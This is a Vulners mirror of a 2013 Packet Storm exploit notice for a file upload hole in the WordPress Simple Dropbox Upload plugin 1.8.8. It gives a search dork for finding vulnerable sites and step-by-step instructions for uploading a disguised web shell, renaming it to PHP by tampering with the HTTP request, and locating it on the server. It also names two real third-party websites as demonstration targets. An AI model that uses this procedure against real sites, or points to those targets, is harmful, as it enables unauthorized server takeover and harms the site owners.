Lucene search
K

WordPress Simple Dropbox 1.8.8 Shell Upload

🗓️ 14 Sep 2013 00:00:00Reported by Ashiyane Digital Security TeamType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 30 Views

WordPress Simple Dropbox 1.8.8 Shell Upload exploit by Ashiyane Digital Security Tea

Code
`##############  
# Exploit Title : Wordpress Simple Dropbox Upload plugin File Upload  
#  
# Exploit Author : Ashiyane Digital Security Team  
#  
# Download Link : http://wordpress.org/plugins/simple-dropbox-upload-form/  
#  
# Home : www.Ashiyane.org  
#  
# Version : 1.8.8  
#  
# Security Risk : High  
#  
# Dork : inurl:/wp-content/plugins/simple-dropbox-upload-form/  
#  
# Tested on: Linux  
##############  
#Location: Site/wp-content/plugins/simple-dropbox-upload-form/multi.php  
##############  
#1.run the Firefox browser  
#2.Then Add-ons Live HTTP headers in Firefox Install >>  
#https://addons.mozilla.org/en-us/firefox/addon/live-http-headers/  
#3.Now the run Add-ons Live HTTP headers  
#4.Then go to this page site/[path]/wp-content/plugins/simple-dropbox-upload-form/multi.php?&height=500&width=1000&TB_iframe=true  
#5.Click the Choose File button Then select a file [shell.jpg]  
#6.Then click on the Start upload button  
#7.Now using Live HTTP headers uploaded files to PHP change [shell.php]  
#8.Find your Shell site/wp-content/uploads/wpdb/shell.php  
##############  
#DEm0:  
# http://www.afterglowprod.com/wp-content/plugins/simple-dropbox-upload-form/multi.php?&height=500&width=1000&TB_iframe=true  
# http://www.gcca.org/wp-content/plugins/simple-dropbox-upload-form/multi.php?&height=500&width=1000&TB_iframe=true  
##############  
#Greetz to: My Lord ALLAH  
##############  
#  
# Discovered By : Amirh03in  
#  
##############  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation